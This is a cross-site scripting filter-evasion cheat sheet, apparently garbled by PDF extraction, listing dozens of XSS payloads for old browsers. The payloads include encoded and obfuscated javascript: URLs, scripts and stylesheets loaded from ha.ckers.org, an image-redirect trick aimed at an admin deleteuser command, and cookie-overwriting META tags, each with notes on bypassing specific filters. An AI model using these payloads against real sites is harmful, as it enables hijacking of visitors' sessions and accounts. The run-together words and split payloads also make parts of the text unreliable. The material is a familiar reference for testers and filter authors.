XSS Cross Site Scripting Cheat Sheet
XSS Cross Site Scripting Cheat Sheet
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
Noquotesandnosemicolon: <IMGSRC=javascript:alert('XSS')>
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
CaseinsensitiveXSSattackvector: <IMGSRC=JaVaScRiPt:alert('XSS')>
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
MalformedIMGtags.OriginallyfoundbyBegeek(butcleanedupandshortenedtow orkinall brow sers),thisXSSvectorusestherelaxedrenderingenginetocreateourXSSvectorw ithinan IMGtagthatshouldbeencapsulatedw ithinquotes.Iassumethisw asoriginallymeanttocorrect sloppycoding.Thisw ouldmakeitsignificantlymoredifficulttocorrectlyparseapartanHTMLtag: <IMG"""><SCRIPT>alert("XSS")</SCRIPT>">
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
LongUTF8Unicodeencodingw ithoutsemicolons(thisisofteneffectiveinXSSthatattemptsto lookfor"&#XX",sincemostpeopledon'tknow aboutpaddingupto7numericcharacterstotal). Thisisalsousefulagainstpeoplew hodecodeagainststringslike$tmp_string=~ s/.*\&#(\d+).*/$1/w hichincorrectlyassumesasemicolonisrequiredtoterminateahtmlencoded string(I'veseenthisinthew ild): <IMG SRC=java� 000115crip&# 0000116:ale& Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02] #0000114t('X SS')> Hexencodingw ithoutsemicolons(thisisalsoaviableXSSattackagainsttheabovestring $tmp_string=~s/.*\&#(\d+).*/$1/w hichassumesthatthereisanumericcharacterfollow ingthe poundsymbolw hichisnottruew ithhexHTMLcharacters).UsetheXSScalculatorformore information: <IMG SRC=javascr&#x 69pt:alert& #x28'XSS')> Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
EmbeddedencodedtabtobreakupXSS: <IMGSRC="javšscript:alert('XSS')">
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
vector: <IMGSRC="javªscript:alert('XSS')">
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
MultilineInjectedJavaScriptusingASCIIcarriagereturns(sameasaboveonlyamoreextreme exampleofthisXSSvector)thesearenotspacesjustoneofthethreecharactersasdescribed above: <IMG SRC = " Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02] j a v a NullbreaksupJavaScriptdirective.Okay,Ilied,nullcharsalsow orkasXSSvectorsbutnotlike s c above,youneedtoinjectthemdirectlyusingsomethinglikeBurpProxyoruse%00intheURL r stringorifyouw anttow riteyourow ninjectiontoolyoucaneitherusevim(^V^@w illproducea i p null)orthefollow ingprogramtogenerateitintoatextfile.Okay,Iliedagain,olderversionsof t Opera(circa7.11onWindow s)w erevulnerabletooneadditionalchar173(thesofthypen : a controlchar).Butthenullchar%00ismuchmoreusefulandhelpedmebypasscertainrealw orld l filtersw ithavariationonthisexample: e r perle'print"<IMGSRC=java\0script:alert(\"XSS\")>"'> t out ( ' X Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02] S S ' ) Nullbreaksupcrosssitescriptingvector.Hereisalittleknow nXSSattackvectorusingnull " characters.YoucanactuallybreakuptheHTMLitselfusingthesamenullsasshow nabove.I've > seenthisvectorbypasssomeofthemostrestrictiveXSSfilterstodate: perle'print"<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>"'> out Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
NonalphanondigitXSS.WhileIw asreadingtheFirefoxHTMLparserIfoundthatitassumesa nonalphanondigitisnotvalidafteranHTMLkeyw ordandthereforconsidersittobea w hitespaceornonvalidtokenafteranHTMLtag.TheproblemisthatsomeXSSfiltersassume thatthetagtheyarelookingforisbrokenupbyw hitespace.Forexample"<SCRIPT\s"!= "<SCRIPT/XSS\s": <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
Extraneousopenbrackets.SubmittedbyFranzSedlmaier,thisXSSvectorcoulddefeatcertain
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
Noclosingscripttags.InFirefoxandNetscape8.1intheGeckorenderingenginemodeyoudon't actuallyneedthe"></SCRIPT>"portionofthisCrossSiteScriptingvector.Firefoxassumesit's safetoclosetheHTMLtagandaddclosingtagsforyou.How thoughtful!Unlikethenextone, w hichdoesn'teffectFirefox,thisdoesnotrequireanyadditionalHTMLbelow it.Youcanadd quotesifyouneedto,butthey'renotneededgenerally,althoughbew are,Ihavenoideaw hatthe HTMLw illenduplookinglikeoncethisisinjected: <SCRIPTSRC=http://ha.ckers.org/xss.js?<B>
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
Protocolresolutioninscripttags.Thisparticularvariantw assubmittedbyukaszPilorzandw as basedpartiallyoffofOzh'sprotocolresolutionbypassbelow .Thiscrosssitescriptingexample w orksinIE,NetscapeinIErenderingmodeandOperaifyouaddina</SCRIPT>tagattheend. How ever,thisisespeciallyusefulw herespaceisanissue,andofcourse,theshorteryour domain,thebetter.The".j"isvalid,regardlessoftheencodingtypebecausethebrow serknow s itincontextofaSCRIPTtag. <SCRIPTSRC=//ha.ckers.org/.j>
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
HalfopenHTML/JavaScriptXSSvector.UnlikeFirefoxtheIErenderingenginedoesn'taddextra datatoyourpage,butitdoesallow thejavascript:directiveinimages.Thisisusefulasavector becauseitdoesn'trequireacloseanglebracket.ThisassumesthereisanyHTMLtagbelow w hereyouareinjectingthiscrosssitescriptingvector.Eventhoughthereisnoclose">"tagthe tagsbelow itw illcloseit.Anote:thisdoesmessuptheHTML,dependingonw hatHTMLis beneathit.Itgetsaroundthefollow ingNIDSregex:/((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ becauseitdoesn'trequiretheend">".Asasidenote,thisw asalsoaffectiveagainstarealw orld XSSfilterIcameacrossusinganopenended<IFRAMEtaginsteadofan<IMGtag:
<IMGSRC="javascript:alert('XSS')"
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
EscapingJavaScriptescapes.Whentheapplicationisw rittentooutputsomeuserinformation insideofaJavaScriptlikethefollow ing:<SCRIPT>vara="$ENV{QUERY_STRING}"</SCRIPT>and youw anttoinjectyourow nJavaScriptintoitbuttheserversideapplicationescapescertain quotesyoucancircumventthatbyescapingtheirescapecharacter.Whenthisisgetsinjectedit w illread<SCRIPT>vara="\\"alert('XSS')//"</SCRIPT>w hichendsupunescapingthedouble quoteandcausingtheCrossSiteScriptingvectortofire.TheXSSlocatorusesthismethod.: \"alert('XSS')//
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
INPUTimage:
<INPUTTYPE="IMAGE"SRC="javascript:alert('XSS')">
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
BODYimage: <BODYBACKGROUND="javascript:alert('XSS')">
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
EventHandlersthatcanbeusedinsimilarXSSattackstotheoneabove(thisisthemost comprehensivelistonthenet,atthetimeofthisw riting).PleasenoteIhaveexcludedbrow ser supportfromthissectionbecauseeachonemayhavedifferentresultsindifferentbrow sers. ThankstoReneLedosquetfortheHTML+TIMEupdates: 1. FSCommand()(attackercanusethisw hen executedfromw ithinanembeddedFlashobject) 2. onAbort()(w henuserabortstheloadingofan image) 3. onActivate()(w henobjectissetastheactive element) 4. onAfterPrint()(activatesafteruserprintsor IMGDynsrc: preview sprintjob) 5. onAfterUpdate()(activatesondataobjectafter <IMGDYNSRC="javascript:alert('XSS')"> updatingdatainthesourceobject) 6. onBeforeActivate()(firesbeforetheobjectisset astheactiveelement) Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02] 7. onBeforeCopy()(attackerexecutestheattack stringrightbeforeaselectioniscopiedtotheclipboard attackerscandothisw iththeexecCommand("Copy") function) 8. onBeforeCut()(attackerexecutestheattackstring IMGlow src: rightbeforeaselectioniscut) <IMGLOWSRC="javascript:alert('XSS')"> 9. onBeforeDeactivate()(firesrightafterthe activeElementischangedfromthecurrentobject) 10. onBeforeEditFocus()(Firesbeforeanobject containedinaneditableelemententersaUIactivated Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02] stateorw henaneditablecontainerobjectiscontrol selected) 11. onBeforePaste()(userneedstobetrickedinto pastingorbeforcedintoitusingthe
BGSOUND: <BGSOUNDSRC="javascript:alert('XSS')">
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02][NS4]
STYLEsheet: <LINKREL="stylesheet"HREF="javascript:alert('XSS')">
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
Remotestylesheet(usingsomethingassimpleasaremotestylesheetyoucanincludeyourXSS asthestyleparametercanberedefinedusinganembeddedexpression.)Thisonlyw orksinIE andNetscape8.1+inIErenderingenginemode.Noticethatthereisnothingonthepagetoshow thatthereisincludedJavaScript.Note:Withalloftheseremotestylesheetexamplestheyusethe bodytag,soitw on'tw orkunlessthereissomecontentonthepageotherthanthevectoritself, soyou'llneedtoaddasinglelettertothepagetomakeitw orkifit'sanotherw iseblankpage: <LINKREL="stylesheet" HREF="http://ha.ckers.org/xss.css"> Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
<STYLE>@import'http://ha.ckers.org/xss.css'</STYLE>
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
Remotestylesheetpart3.Thisonlyw orksinOpera8.0(nolongerin9.x)butisfairlytricky. AccordingtoRFC2616settingalinkheaderisnotpartoftheHTTP1.1spec,how eversome brow sersstillallow it(likeFirefoxandOpera).ThetrickhereisthatIamsettingaheader(w hich isbasicallynodifferentthanintheHTTPheadersayingLink:<http://ha.ckers.org/xss.css> REL=stylesheet)andtheremotestylesheetw ithmycrosssitescriptingvectorisrunningthe JavaScript,w hichisnotsupportedinFireFox: <METAHTTPEQUIV="Link" Content="<http://ha.ckers.org/xss.css> REL=stylesheet"> Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
Remotestylesheetpart4.Thisonlyw orksinGeckorenderingenginesandw orksbybindingan XULfiletotheparentpage.IthinktheironyhereisthatNetscapeassumesthatGeckoissafer andthereforisvulnerabletothisforthevastmajorityofsites: <STYLE>BODY{moz binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</ST YLE> Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
Liststyleimage.Fairlyesotericissuedealingw ithembeddingimagesforbulletedlists.Thisw ill onlyw orkintheIErenderingenginebecauseoftheJavaScriptdirective.Notaparticularlyuseful crosssitescriptingvector: <STYLE>li{liststyleimage: url("javascript:alert('XSS')")}</STYLE><UL><LI>XSS Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
VBscriptinanimage: <IMGSRC='vbscript:msgbox("XSS")'>
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
Mocha(olderversionsofNetscapeonly): <IMGSRC="mocha:[code]">
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02][NS4]
Livescript(olderversionsofNetscapeonly): <IMGSRC="livescript:[code]">
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02][NS4]
USASCIIencoding(foundbyKurtHuw ig).ThisusesmalformedASCIIencodingw ith7bits insteadof8.ThisXSSmaybypassmanycontentfiltersbutonlyw orksifthehosttransmitsinUS ASCIIencoding,orifyousettheencodingyourself.Thisismoreusefulagainstw ebapplication firew allcrosssitescriptingevasionthanitisserversidefilterevasion.ApacheTomcatistheonly know nserverthattransmitsinUSASCIIencoding.Ihighlysuggestanyoneinterestedinalternate encodingissueslookatmycharsetsissuespage: scriptalert(XSS)/script
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02][NS4]
METAw ithadditionalURLparameter.Ifthetargetw ebsiteattemptstoseeiftheURLcontains "http://"atthebeginningyoucanevadeitw iththefollow ingtechnique(SubmittedbyMoritz Naumann): <METAHTTPEQUIV="refresh"CONTENT="0 URL=http://URL=javascript:alert('XSS')"> Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
TD(justlikeabove,TD'sarevulnerabletoBACKGROUNDscontainingJavaScriptXSSvectors): <TABLE><TDBACKGROUND="javascript:alert('XSS')">
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
DIVbackgroundimage:
DIVbackgroundimagew ithunicodedXSSexploit(thishasbeenmodifiedslightlytoobfuscatethe urlparameter).Theoriginalvulnerabilityw asfoundbyRenaudLifchitzasavulnerabilityinHotmail: <DIVSTYLE="background image:\0075\0072\006C\0028'\006a\0061\0076\0061\00 73\0063\0072\0069\0070\0074\003a\0061\006c\0065\00 72\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
DIVbackgroundimageplusextracharacters.IbuiltaquickXSSfuzzertodetectanyerroneous charactersthatareallow edaftertheopenparenthesisbutbeforetheJavaScriptdirectiveinIE andNetscape8.1insecuresitemode.Theseareindecimalbutyoucanincludehexandadd paddingofcourse.(Anyofthefollow ingcharscanbeused:132,34,39,160,81928.13,12288, 65279): <DIVSTYLE="backgroundimage: url(javascript:alert('XSS'))"> Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
STYLEattributeusingacommenttobreakupexpression(ThankstoRomanIvanovforthisone): <IMGSTYLE="xss:expr/*XSS*/ession(alert('XSS'))">
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
STYLEtag(OlderversionsofNetscapeonly): <STYLETYPE="text/javascript">alert('XSS')</STYLE>
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02][NS4]
Dow nlevelHiddenblock(onlyw orksinIE5.0andlaterandNetscape8.1inIErenderingengine mode).Somew ebsitesconsideranythinginsideacommentblocktobesafeandthereforedoes notneedtoberemoved,w hichallow sourCrossSiteScriptingvector.Orthesystemcouldadd commenttagsaroundsomethingtoattempttorenderitharmless.Asw ecansee,thatprobably
BASEtag.WorksinIEandNetscape8.1insafemode.Youneedthe//tocommentoutthenext characterssoyouw on'tgetaJavaScripterrorandyourXSStagw illrender.Also,thisrelieson thefactthatthew ebsiteusesdynamicallyplacedimageslike"images/image.jpg"ratherthanfull paths.Ifthepathincludesaleadingforw ardslashlike"/images/image.jpg"youcanremoveone slashfromthisvector(aslongastherearetw otobeginthecommentthisw illw ork): <BASEHREF="javascript:alert('XSS')//">
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
UsinganEMBEDtagyoucanembedaFlashmoviethatcontainsXSS.Clickhereforademo.Ifyou addtheattributesallow ScriptAccess="never"andallow netw orking="internal"itcanmitigatethis risk(thankyoutoJonathanVanascofortheinfo).: <EMBEDSRC="http://ha.ckers.org/xss.sw f" Allow ScriptAccess="alw ays"></EMBED> Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
<EMBED SRC="data:image/svg+xmlbase64,PHN2ZyB4bWxuczp zdmc9Imh0dH A6Ly93d3cudzMub3JnLzIw MDAvc3ZnIiB4bWxucz0iaH Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02] R0cDovL3d3dy53My5vcmcv MjAw MC9zdmciIHhtbG5zOnhsaW5rPSJodHRw Oi8vd3d 3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSI UsingActionScriptinsideflashcanobfuscateyourXSSvector: xOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYX a="get" Njcmlw dCI+YWxlcnQoIlh b="URL(\"" TUyIpOzw vc2NyaXB0Pjw vc3ZnPg==" c="javascript:" type="image/svg+xml" d="alert('XSS')\")" Allow ScriptAccess="alw ays"></EMBED> eval(a+b+c+d) Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
XMLdataislandw ithCDATAobfuscation(thisXSSattackw orksonlyinIEandNetscape8.1inIE renderingenginemode)vectorfoundbySecConsultw hileauditingYahoo: <XMLID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS')">]]> </C></X></xml><SPANDATASRC=#IDATAFLD=C DATAFORMATAS=HTML></SPAN> Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
HTML+TIMEinXML.Thisishow GreyMagichackedHotmailandYahoo!.Thisonlyw orksin InternetExplorerandNetscape8.1inIErenderingenginemodeandrememberthatyouneedtobe betw eenHTMLandBODYtagsforthistow ork: <HTML><BODY> <?xml:namespaceprefix="t"ns="urn:schemas microsoftcom:time"> <?importnamespace="t" Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02] implementation="#default#time2"> <t:setattributeName="innerHTML"to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>"> </BODY></HTML> Assumingyoucanonlyfitinafew charactersanditfiltersagainst".js"youcanrenameyour JavaScriptfiletoanimageasanXSSvector: <SCRIPTSRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
IMGEmbeddedcommandsthisw orksw henthew ebpagew herethisisinjected(likeaw eb board)isbehindpassw ordprotectionandthatpassw ordprotectionw orksw ithothercommands onthesamedomain.Thiscanbeusedtodeleteusers,addusers(iftheuserw hovisitsthepage isanadministrator),sendcredentialselsew here,etc....Thisisoneofthelesserusedbutmore usefulXSSvectors: <IMG SRC="http://w w w .thesiteyouareon.com/somecommand. php?somevariables=maliciouscode"> Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
IMGEmbeddedcommandspartIIthisismorescarybecausethereareabsolutelynoidentifiers thatmakeitlooksuspiciousotherthanitisnothostedonyourow ndomain.Thevectorusesa302 or304(othersw orktoo)toredirecttheimagebacktoacommand.Soanormal<IMG SRC="http://badguy.com/a.jpg">couldactuallybeanattackvectortoruncommandsastheuser w hoview stheimagelink.Hereisthe.htaccess(underApache)linetoaccomplishthevector (thankstoTimoforpartofthis): Redirect302/a.jpg http://victimsite.com/admin.asp&deleteuser Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
CookiemanipulationadmittidlythisisprettyobscurebutIhaveseenafew examplesw here <METAisallow edandyoucanuseittooverw ritecookies.Thereareotherexamplesofsites w hereinsteadoffetchingtheusernamefromadatabaseitisstoredinsideofacookietobe displayedonlytotheuserw hovisitsthepage.Withthesetw oscenarioscombinedyoucan modifythevictim'scookiew hichw illbedisplayedbacktothemasJavaScript(youcanalsouse thistologpeopleoutorchangetheiruserstates,getthemtologinasyou,etc...): <METAHTTPEQUIV="SetCookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT >"> Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]
UTF7encodingifthepagethattheXSSresidesondoesn'tprovideapagecharsetheader,or anybrow serthatissettoUTF7encodingcanbeexploitedw iththefollow ing(ThankstoRoman Ivanovforthisone).Clickhereforanexample(youdon'tneedthecharsetstatementiftheuser's brow serissettoautodetectandthereisnooverridingcontenttypesonthepageinInternet ExplorerandNetscape8.1inIErenderingenginemode).Thisdoesnotw orkinanymodern brow serw ithoutchangingtheencodingtypew hichisw hyitismarkedascompletely unsupported.WatchfirefoundthisholeinGoogle'scustom404script.: <HEAD><METAHTTPEQUIV="CONTENTTYPE" CONTENT="text/htmlcharset=UTF7"></HEAD>+ADw SCRIPT+AD4alert('XSS')+ADw /SCRIPT+AD4 Brow sersupport:[IE7.0|IE6.0|NS8.1IE][NS8.1G|FF2.0][O9.02]